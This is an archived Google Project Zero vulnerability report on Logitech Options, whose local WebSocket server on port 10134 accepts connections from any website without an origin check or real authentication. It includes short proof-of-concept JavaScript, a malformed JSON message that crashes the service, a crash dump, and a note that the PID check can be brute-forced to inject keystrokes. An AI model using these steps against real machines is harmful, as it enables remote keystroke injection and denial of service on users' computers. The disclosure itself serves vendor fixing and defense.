

logitech: "Options" Craft WebSocket server has no authentication [42450729]

logitech: "Options" Craft WebSocket server has no authentication [42450729] - tavisio, bugs.chromium.org.

- Published: date not stated
- Original: <<https://bugs.chromium.org/p/project-zero/issues/detail?id=1663>>
- Preserved from: <https://bugs.chromium.org/p/project-zero/issues/detail?id=1663> (browser) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Issue 42450729

Fixed

Bug P2

Add Hotlist

Description

ta...@google.com created issue

Sep 12, 2018 10:20PM

I wanted to rebind a button on my logitech mouse on Windows, apparently that requires installing 149MB application called "Logitech Options":

<https://www.logitech.com/en-us/product/options>

That program helpfully adds itself to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (and therefore is always running), spawns multiple subprocesses and appears to be an electron app. It also opens a websocket server on port 10134 that any website can connect to, and has no origin checking at all. A website can simply do this:

```
x = new WebSocket("ws://localhost:10134"); x.onmessage = function(event)
{ console.log("message", event.data); }; x.onopen = function(event) { console.log("open",
event); };
```

etc, etc.

Trying to figure out what this websocket server does, it's immediately obvious that it expects JSON messages, and there is zero type checking of properties, so it crashes like crazy.

```
socket.send(JSON.stringify({message_type: "tool_update", session_id: "00cd8431-8e8b-a7e0-8122-9aaf4d7c2a9b", tool_id: "hello", tool_options:  
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" })))
```

```
(14cc.cd0): Access violation - code c0000005 (first chance) First chance exceptions are
reported before any exception handling. This exception may be expected and handled.
LogiOptionsMgr+0x163f5f: 00000001 3f293f5f 0fb7530e movzx edx,word ptr [rbx+0Eh]
ds:00004141 4141414f=???? 0:013> kvn4 # Child-SP RetAddr : Args to Child : Call Site 00
00000000 03bae390 00000001 3f2939b3 : 00000000 03bae530 00000000 00000000
00004149 69696961 ffffffff ffffffff : LogiOptionsMgr+0x163f5f 01 00000000 03bae3e0
00000001 3f55b2f9 : 00000000 03bae468 00000000 04d27e60 00000000 0053f180
00000001 3f295e6b : LogiOptionsMgr+0x1639b3 02 00000000 03bae430 00000001 3f554e74 :
00000000 03bae610 6470755f 6c6f6f74 00000000 0000000b 00000000 0000000f :
LogiOptionsMgr+0x42b2f9 03 00000000 03bae5b0 00000001 3f544c5d : 00000001 3f793b10
00000000 03bae780 00000000 00547540 00000000 03812cc0 : LogiOptionsMgr+0x424e74
(Here, tool_options was expecting an array, but it didn't check the type and I provided a
string)
```

After figuring out some of the protocol, I realized it was this thing:

<https://github.com/Logitech/logitech-sdk>

The only "authentication" is that you have to provide a pid of a process owned by your user, but you get unlimited guesses so you can bruteforce it in microseconds.

After that, you can send commands and options, configure the "crown" to send arbitrary keystrokes, etc, etc.

Recommendations

You must check origin - discard any connection with a non-whitelisted Origin.

Second, require knowing a secret generated at installation time in a filesystem or registry location that is correctly ACL'd.

Issue summary

Hide all

Comments

All comments

Oldest first

Add comment

Issue metadata

Reporter ta...@google.com

Type

Priority

Severity

Status

Access

Default access

View

Assignee ta...@google.com

Verifier

Collaborators

pr...@google.com

CC

pr...@google.com

ta...@google.com

Code Changes

--

Pending Code Changes

--

CVE ID

--

Deadline

90 days

Deadline exceeded

Finder

taviso

Fixed

--

Grace ext.

Methodology

--

Product

options

Reported

Sep 12, 2018

Security Bulletin date

--

Vendor

logitech

VendorID

--

racy?

Found In

--

Targeted To

--

Verified In

--

In Prod

Archived from <https://bugs.chromium.org/p/project-zero/issues/detail?id=1663>. Rendered offline from the local Markdown copy.